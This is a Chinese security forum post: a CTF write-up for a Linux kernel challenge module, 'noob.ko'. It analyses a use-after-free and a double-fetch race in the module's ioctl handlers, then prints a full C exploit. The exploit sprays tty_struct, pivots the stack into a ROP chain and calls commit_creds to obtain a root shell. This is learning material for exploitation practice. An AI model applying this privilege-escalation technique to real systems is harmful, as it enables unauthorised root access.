用户
搜索
  • TA的每日心情
    开心
    2019-10-15 11:43
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    3

    帖子

    115

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2016-11-15

    i春秋签约作者

    发表于 2020-3-19 02:28:50 01265
    本文原创作者PwnRabb1t,本文属i春秋原创奖励计划,未经许可禁止转载

    这是之前高校战“疫”分享赛的一个kernel 题目,木有参加比赛,赛后复现一下, 题目比较基础,适合入门。

    程序分析

    题目给了三个文件startvm.sh, initramfs.cpio以及bzImage

    内核版本4.15.15, 查看startvm.sh可以知道没有开kaslr以及smap, 那么内核的加载地址就都是固定的

    #!/bin/bash
    
    stty intr ^]
    cd `dirname $0`
    timeout --foreground 600 qemu-system-x86_64 \
        -m 128M \
        -nographic \
        -kernel bzImage \
        -append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr' \
        -monitor /dev/null \
        -initrd initramfs.cpio \
        -smp 2,cores=2,threads=1 \
        -cpu qemu64,smep 2>/dev/null

    有问题的模块是noob.ko, 对应设备是/dev/noob

    insmod /home/pwn/noob.ko
    chmod 666 /dev/noob

    ida打开分析一下

    noob_ioctl

    可以用ioctl进入模块,有四个cmd, 类似用户态常规的note题目

    add_note 0x30000    
    del_note 0x30001    
    edit_note 0x30002   
    show_note 0x30003  

    传入ioctl的最后一个参数是一个结构体,类似下面这样

    struct adds{             
        uint64_t index;           
        char *buf;           
        uint64_t size;            
    };                       

    我们一个功能一个功能看

    add_note

    add_note会为note分配内存,分配后保存在bss段的pool里面

      v5 = _kmalloc(a2[2], 20971712LL);
      if ( !v5 )
        return -1LL;
      *((_QWORD *)&pool + 2 * index) = v5;
      size_BC8[2 * index] = a2[2];
    //... pool
    0xffffffffc00044c0:     0xffff880005688800      0x0000000000000060
    0xffffffffc00044d0:     0x0000000000000000      0x0000000000000000
    0xffffffffc00044e0:     0x0000000000000000      0x0000000000000000
    0xffffffffc00044f0:     0x0000000000000000      0x0000000000000000

    kmalloc 之前会对传入的参数做检查,传入的size需在[0x20,0x70] 范围内,index在[0,0x1F] 范围内,pool[2*index] 上已经保存有地址的,不会再次分配。

      index = *a2;
      if ( a2[2] > 0x70 || a2[2] <= 0x1F )
        return -1LL;
      if ( index > 0x1F || *((_QWORD *)&pool + 2 * index) )
        return -1LL;
    del_note

    del_note 还是一样,检查 index,pool[index] 是否存在,存在就直接 kfree掉这块内存,但是指针没有清0,所以这里就直接给了一个uaf.

    signed __int64 __usercall del_note@<rax>(__int64 a1@<rbp>, _QWORD *a2@<rdi>, __int64 index@<rsi>)
    {
      __int64 v4; // [rsp-10h] [rbp-10h]
    
      _fentry__(a2, index);
      v4 = *((_QWORD *)&pool + 2 * *a2);
      if ( *a2 > 0x1FuLL )
        return -1LL;
      if ( !v4 )
        return -1LL;
      kfree(v4);
      return 0LL;
    }

    edit_noteshow_note 差不多,就是读写先前分配的内存, 同样会检查 index 等的范围。

    signed __int64 __usercall edit_note@<rax>(__int64 a1@<rbp>, __int64 *a2@<rdi>, __int64 a3@<rsi>)
    {
      __int64 ptr; // ST20_8
      __int64 buf; // ST28_8
      __int64 index; // [rsp-50h] [rbp-50h]
      unsigned __int64 size; // [rsp-48h] [rbp-48h]
    
      _fentry__(a2, a3);
      index = *a2;
      size = a2[2];
      if ( (unsigned __int64)*a2 > 0x1F )
        return -1LL;
      if ( !*((_QWORD *)&pool + 2 * index) || size > sizesome_BC8[2 * index] )
        return -1LL;
      ptr = *((_QWORD *)&pool + 2 * index);
      buf = a2[1];
      _check_object_size(*((_QWORD *)&pool + 2 * index), size, 0LL);
      copy_from_user(ptr, buf, size);
      return 0LL;
    }

    漏洞利用

    okay ,我们知道del_note 的时候有一个uaf,没有kaslr。slub 分配器其实和 glibc 的fastbin 一样是FIFO的,初步的想法是可能可以修改 uaf 的内存的 fd 指针到 pool 上,于是就可以分配内存到pool上(类似fastbin attack),修改pool上的指针,然后就是任意地址读写了!

    想法很美好,但是实际gdb调试的时候会发现uaf的 fd指针是像下面这样0x0e5ebf3e5c0a1d1e, 看起来乱七八糟,把他改成pool的地址(0xffffffffc00044c0) 后分配内存会直接crash...

    pwndbg> x/10gx 0xffff880005688800
    0xffff880005688800:     0x0e5ebf3e5c0a1d1e      0x0000000000000000
    0xffff880005688810:     0x0000000000000000      0x0000000000000000
    0xffff880005688820:     0x0000000000000000      0x0000000000000000
    0xffff880005688830:     0x0000000000000000      0x0000000000000000
    0xffff880005688840:     0x0000000000000000      0x0000000000000000

    这里它是启用slub freelist hardened 的机制,具体可以参考这篇文章

    内核编译时添加CONFIG_SLAB_FREELIST_HARDENED选项, 那么freelist 的fd指针保存的不再是下一个free块的内存地址,而是和一个随机值的异或结果,计算的方式是fd地址 = random值 ^ 当前的地址 ^ 保存在fd上的值

    例如这里就有 fd地址 =  random值 ^ 0xffff880005688800 ^ 0x0e5ebf3e5c0a1d1e

    random 的值是在每一个slab 创建的时候保存在kmem_cache 里面的,在创建的时候会根据系统环境的不同而变化。

    分配内存时,如果计算得到的fd地址对应的内存不可用,那么系统就会crash.

    好吧,这条路行不通了(其实也是可以做的,我们只要伪造fd让计算后得到的内存是可用的就行,比较麻烦)

    换一个思路,看模块的源码,我们发现函数都是没有加锁的,那么可不可能race呢,再次看看add_note 函数

    signed __int64 __usercall add_note@<rax>(__int64 a1@<rbp>, unsigned __int64 *a2@<rdi>, __int64 a3@<rsi>)
    {
      unsigned __int64 index; // [rsp-20h] [rbp-20h]
      __int64 v5; // [rsp-18h] [rbp-18h]
    
      _fentry__(a2, a3);
      index = *a2;
      if ( a2[2] > 0x70 || a2[2] <= 0x1F )
        return -1LL;
      if ( index > 0x1F || *((_QWORD *)&pool + 2 * index) )
        return -1LL;

    这里没有用 copy_from_user 拷贝ring3 传进来的结构体,而是直接操作ring3地址了,size的大小会有两次的比较

    a2[2] > 0x70 
    a2[2] <= 0x1F

    这里就有了一个double fetch 的漏洞了,a2[2] (a2 是ring3传入的结构体,a2[2] 是size字段)是ring3可控的,于是就可能有下面这样的场景

    => a[2] == 0
        check: a2[2] > 0x70 通过
    => ring3 race 更改: a[2] = 0x2e0
        check: a2[2] <= 0x1F 通过

    这样,我们就可以绕过检查,从而分配任意大小的内存了,漏洞就变成了任意大小内存的uaf,那么接下来就是常规的喷tty_struct 然后劫持执行流的过程了。

    总结一些利用的流程

    • add_note  race size 字段分配0x2e0 大小的内存(tty_struct)
    • del_note 触发uaf
    • 打开/dev/ptmx尝试在 uaf的内存上分配tty_struct
    • 修改tty_structtty_operations 字段到用户态(没有smap) 劫持控制流(这里使用xchg eax, esp 劫持栈到ring3的做法)

    下面的利用的完整 exp

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdint.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <signal.h>
    #include <sys/prctl.h>
    #include <sys/syscall.h>
    #include <linux/userfaultfd.h>
    #include <poll.h>
    #include <pthread.h>
    
    typedef uint32_t u32;
    typedef int32_t s32;
    typedef uint64_t u64;
    typedef int64_t s64;
    
    int (*commit_creds)(unsigned long cred);
    unsigned long (*prepare_kernel_cred)(unsigned long cred);
    size_t user_cs, user_ss, user_rflags, user_sp, user_gs, user_es, user_fs, user_ds;
    
    void logs(char *tag,char *buf){
        printf("[ s]: ");
        printf(" %s ",tag);
        printf(": %s\n",buf);
    }
    void logx(char *tag,uint32_t num){
        printf("[ x] ");
        printf(" %-20s ",tag);
        printf(": %-#8x\n",num);
    }
    void loglx(char *tag,uint64_t num){
        printf("[lx] ");
        printf(" %-20s ",tag);
        printf(": %-#16lx\n",num);
    }
    void save_status(){
        __asm__("mov %%cs, %0\n"
                "mov %%ss,%1\n"
                "mov %%rsp,%2\n"
                "pushfq\n"
                "pop %3\n"
                "mov %%gs,%4\n"
                "mov %%es,%5\n"
                "mov %%fs,%6\n"
                "mov %%ds,%7\n"
                ::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
                "m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
                );
    
        logs("status saved !!","");
    }
    
    void sh(){
        system("/bin/sh");
        exit(0);
    }
    void sudo(){
        commit_creds(prepare_kernel_cred(0));
        asm(
        "push %0\n"
        "push %1\n"
        "push %2\n"
        "push %3\n"
        "push %4\n"
        "push $0\n"
        "swapgs\n"
        "pop %%rbp\n"
        "iretq\n"
        ::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&sh)
        );
    }
    
    void x64dump(char *buf,uint32_t num){
        uint64_t *buf64 =  (uint64_t *)buf;
        printf("[-x64dump-] start : \n");
        for(int i=0;i<num;i++){
            if(i%2==0 && i!=0){
                printf("\n");
            }
            printf("0x%016lx ",*(buf64+i));
        }
        printf("\n[-x64dump-] end ... \n");
    }
    
    #define ADD 0x30000 
    #define DEL 0x30001 
    #define EDIT 0x30002
    #define SHOW 0x30003
    
    void init(){
        save_status();
        setbuf(stdin,0);
        setbuf(stdout,0);
        signal(SIGSEGV, sh);
    }
    
    struct adds{
        u64 index;
        char *buf;
        u64 size;
    };
    
    void addn(int fd,u32 index,u32 size){
        struct adds lsome;
        lsome.index=index;
        lsome.size=size;
        lsome.buf=NULL;
        ioctl(fd,ADD,&lsome);
    }
    void shown(int fd,u32 index,char *buf,u32 size){
        struct adds lsome;
        lsome.index=index;
        lsome.size=size;
        lsome.buf=buf;
        ioctl(fd,SHOW,&lsome);
    }
    void editn(int fd,u32 index,char *buf,u32 size){
        struct adds lsome;
        lsome.index=index;
        lsome.size=size;
        lsome.buf=buf;
        ioctl(fd,EDIT,&lsome);
    }
    
    void deln(int fd,u32 index){
        struct adds lsome;
        lsome.index=index;
        ioctl(fd,DEL,&lsome);
    }
    
    int racer_end=0;
    void *racer(void *args){
        struct adds *lsome = (struct adds *)args;
        while(1){
            if(racer_end==1)break;
            lsome->size=0x2e0;
        }
    }
    
    int main(int argc,char **argv){
        init();
        char *fake_tty_ops=malloc(0x200);
        u64 *fake_tty_ops64 = (u64 *)fake_tty_ops;
        char *buf=malloc(0x1000);
        u64 *buf64 = (u64*)buf;
        u64 slab_random=0xb34d695ef7afee8;
        int res=-1;
    
        memset(fake_tty_ops,0,0x200);
        memset(buf,'A',0x1000);
        int fd = open("/dev/noob",O_RDWR);
        logx("fd",fd);
    
        struct adds tmp;
        tmp.buf=buf;
        tmp.index=0;
        tmp.size=0x0;
    
        pthread_t t;
        pthread_create(&t, NULL, racer, (void *)&tmp);
    
        // race 0x2e0 slab
        while(1){
            tmp.size=0;
            res=ioctl(fd,ADD,&tmp);
            if(res==0){
                logs("race hit","");
                racer_end=1;
                break;
            }
        }
    
        // uaf
        deln(fd,0);
    #define PTMX_NUM 0x100
        u64 pty_magic=0x0000000100005401;
        int fds[PTMX_NUM];
        int uaf_fd=-1;
        // spray tty_struct
        for(int i=0;i<PTMX_NUM;i++){
            fds[i]=open("/dev/ptmx",O_RDWR|O_NOCTTY);
            shown(fd,0,buf,0x80);
            if(buf64[0]==pty_magic){
                uaf_fd=i;
                logx("ptmx uaf",i);
                x64dump(buf,0x10);
                break;
            }
        }
    
        u64 kaslr=0;
        u64 xchg_eax_esp=0xffffffff81533720;
        u64 prdi=0xffffffff8107f460;
        u64 mv_rc4_rdi_prbp=0xffffffff8101f2f0;
        commit_creds=(void *)0xffffffff810ad430;
        prepare_kernel_cred=(void *)0xffffffff810ad7e0;
        // overwrite ioctl
        fake_tty_ops64[12]=xchg_eax_esp; 
        // overwrite tty_operations
        buf64[3] = (u64)fake_tty_ops;
        editn(fd,0,buf,0x20);
    
        int i=0;
    
        char *fake_stack = mmap((void *)(xchg_eax_esp&0xfffff000),0x2000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        loglx("mmap addr",(u64)fake_stack);
        u64 rop[]={
            prdi,
            0x6e0,
            mv_rc4_rdi_prbp,
            (u64)fake_stack+0x1000,
            (u64)sudo
        };
        memcpy(fake_stack+(xchg_eax_esp&0xfff),(char *)rop,sizeof(rop));
        ioctl(fds[uaf_fd],0xdeadbeef,0x12345678abcdef);
    
        return 0;
    }

    运行效果如下

    1.jpg

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册